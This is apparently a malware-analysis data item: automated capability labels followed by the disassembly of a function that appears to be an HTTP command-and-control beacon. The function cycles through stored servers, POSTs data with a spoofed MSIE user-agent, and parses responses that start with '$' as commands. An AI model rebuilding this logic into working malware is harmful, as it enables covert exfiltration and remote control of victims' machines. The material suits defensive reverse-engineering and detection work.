Function at 0x402800
Capabilities:
Connect to http server
Create http request
Reference http user-agent string
Send data
Send http request

Disassembly:
push ebp
lea ebp, [esp - 0x78]
sub esp, 0x2a0
mov dword [ebp + 0x5c], 0x80
mov eax, dword [ebp + 0x5c]
push eax
push 0
lea ecx, [ebp - 0x28]
push ecx
call fcn.00401940
add esp, 0xc
lea edx, [ebp + 0x5c]
push edx
lea eax, [ebp - 0x28]
push eax
push 0
call sub.urlmon.dll_ObtainUserAgentString
mov ecx, 1
imul edx, ecx, 0
movsx eax, byte [ebp + edx - 0x28]
test eax, eax
jne 0x402853
push str.Mozilla_4.0_compatible__MSIE_7.0b__Windows_NT_6.0_
lea ecx, [ebp - 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0
push 0
push 0
push 0
lea edx, [ebp - 0x28]
push edx
call dword [sym.imp.WININET.dll_InternetOpenA]
mov dword [0x407b94], eax
cmp dword [0x407b94], 0
jne 0x402880
push 0xea60
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x402853
mov dword [ebp + 0x74], 0
mov dword [ebp + 0x70], 0
mov dword [ebp + 0x58], 0
mov dword [ebp + 0x6c], 0
mov eax, 1
test eax, eax
je 0x402ae1
mov ecx, dword [ebp + 0x74]
cmp dword [ecx*4 + 0x406648], 0
jne 0x4028ca
mov dword [ebp + 0x74], 0
mov edx, dword [0x407b34]
push edx
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
push 0
push 3
push 0
push 0
push 0x50
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax*4 + 0x406648]
push ecx
mov edx, dword [0x407b94]
push edx
call dword [sym.imp.WININET.dll_InternetConnectA]
mov dword [ebp + 0x64], eax
cmp dword [ebp + 0x64], 0
jne 0x402909
mov eax, dword [ebp + 0x74]
add eax, 1
mov dword [ebp + 0x74], eax
mov dword [ebp + 0x70], 0
jmp 0x40289c
push 0
push 0x84200000
push 0
push 0
push 0
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx*4 + 0x406650]
push edx
push str.POST
mov eax, dword [ebp + 0x64]
push eax
call dword [sym.imp.WININET.dll_HttpOpenRequestA]
mov dword [ebp + 0x60], eax
cmp dword [ebp + 0x60], 0
jne 0x402958
mov ecx, dword [ebp + 0x74]
add ecx, 1
mov dword [ebp + 0x74], ecx
mov dword [ebp + 0x70], 0
mov edx, dword [ebp + 0x64]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
jmp 0x40289c
cmp dword [ebp + 0x58], 1
jne 0x402977
cmp dword [ebp + 0x6c], 0
jne 0x402975
push 0
call fcn.00401cb0
add esp, 4
mov dword [ebp + 0x6c], 1
jmp 0x40298e
cmp dword [ebp + 0x6c], 0
jne 0x40298e
push 1
call fcn.00401cb0
add esp, 4
mov dword [ebp + 0x6c], 1
mov eax, dword [0x407b88]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
mov ecx, dword [0x407b88]
push ecx
push 0xffffffffffffffff
push str.Content_Type:application_x_www_form_urlencoded
mov edx, dword [ebp + 0x60]
push edx
call dword [sym.imp.WININET.dll_HttpSendRequestA]
cmp eax, 1
jne 0x402a86
push 0xff
push 0
lea eax, [ebp - 0x128]
push eax
call fcn.00401940
add esp, 0xc
mov ecx, dword [ebp + 0x74]
mov edx, dword [ecx*4 + 0x406650]
push edx
mov eax, dword [ebp + 0x74]
mov ecx, dword [eax*4 + 0x406648]
push ecx
push str.http:___s_s
lea edx, [ebp - 0x128]
push edx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0xff
push 0
lea eax, [ebp - 0x228]
push eax
call fcn.00401940
add esp, 0xc
lea ecx, [ebp - 0x228]
push ecx
lea edx, [ebp - 0x128]
push edx
call fcn.00402690
add esp, 8
cmp eax, 1
jne 0x402a7f
lea eax, [ebp - 0x228]
mov dword [ebp + 0x68], eax
push str.response
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x68]
mov dword [ebp + 0x68], eax
mov ecx, dword [ebp + 0x68]
movsx edx, byte [ecx]
cmp edx, 0x24
jne 0x402a76
mov eax, dword [ebp + 0x68]
push eax
call fcn.004057f0
add esp, 4
mov dword [ebp + 0x70], 1
mov dword [ebp + 0x58], 1
mov dword [ebp + 0x6c], 0
jmp 0x402a7d
mov dword [ebp + 0x70], 0
jmp 0x402a86
mov dword [ebp + 0x70], 0
mov ecx, dword [ebp + 0x60]
push ecx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
mov edx, dword [ebp + 0x64]
push edx
call dword [sym.imp.WININET.dll_InternetCloseHandle]
cmp dword [ebp + 0x70], 0
jne 0x402aab
mov eax, dword [ebp + 0x74]
add eax, 1
mov dword [ebp + 0x74], eax
jmp 0x402adc
mov ecx, dword [0x407b88]
push ecx
push 8
mov edx, dword [0x407b2c]
push edx
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, dword [0x407b1c]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
push 0xffffffffffffffff
mov ecx, dword [0x407b18]
push ecx
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
jmp 0x40289c
add ebp, 0x78
mov esp, ebp
pop ebp
ret